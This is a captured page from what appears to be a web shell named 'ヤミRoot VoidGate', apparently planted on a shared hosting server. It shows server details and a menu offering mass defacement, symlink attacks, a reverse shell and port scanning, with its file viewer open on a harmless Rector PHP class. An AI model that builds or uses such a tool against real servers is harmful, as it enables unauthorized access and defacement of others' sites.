ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
Bridge
/
Viewing: SetProviderCollector.php
<?php declare (strict_types=1); namespace Rector\Bridge; use Rector\Doctrine\Set\SetProvider\DoctrineSetProvider; use Rector\PHPUnit\Set\SetProvider\PHPUnitSetProvider; use Rector\Set\Contract\SetInterface; use Rector\Set\Contract\SetProviderInterface; use Rector\Set\SetProvider\CoreSetProvider; use Rector\Set\SetProvider\PHPSetProvider; use Rector\Symfony\Set\SetProvider\SymfonySetProvider; use Rector\Symfony\Set\SetProvider\TwigSetProvider; /** * @api * @experimental since 1.1.2 * Utils class to ease building bridges by 3rd-party tools */ final class SetProviderCollector { /** * @var SetProviderInterface[] * @readonly */ private $setProviders; /** * @param SetProviderInterface[] $extraSetProviders */ public function __construct(array $extraSetProviders = []) { $setProviders = [ // register all known set providers here new PHPSetProvider(), new CoreSetProvider(), new PHPUnitSetProvider(), new SymfonySetProvider(), new DoctrineSetProvider(), new TwigSetProvider(), ]; $this->setProviders = \array_merge($setProviders, $extraSetProviders); } /** * @return array<SetProviderInterface> */ public function provide() : array { return $this->setProviders; } /** * @return array<SetInterface> */ public function provideSets() : array { $sets = []; foreach ($this->setProviders as $setProvider) { $sets = \array_merge($sets, $setProvider->provide()); } return $sets; } }
Coded With 💗 by
0x6ick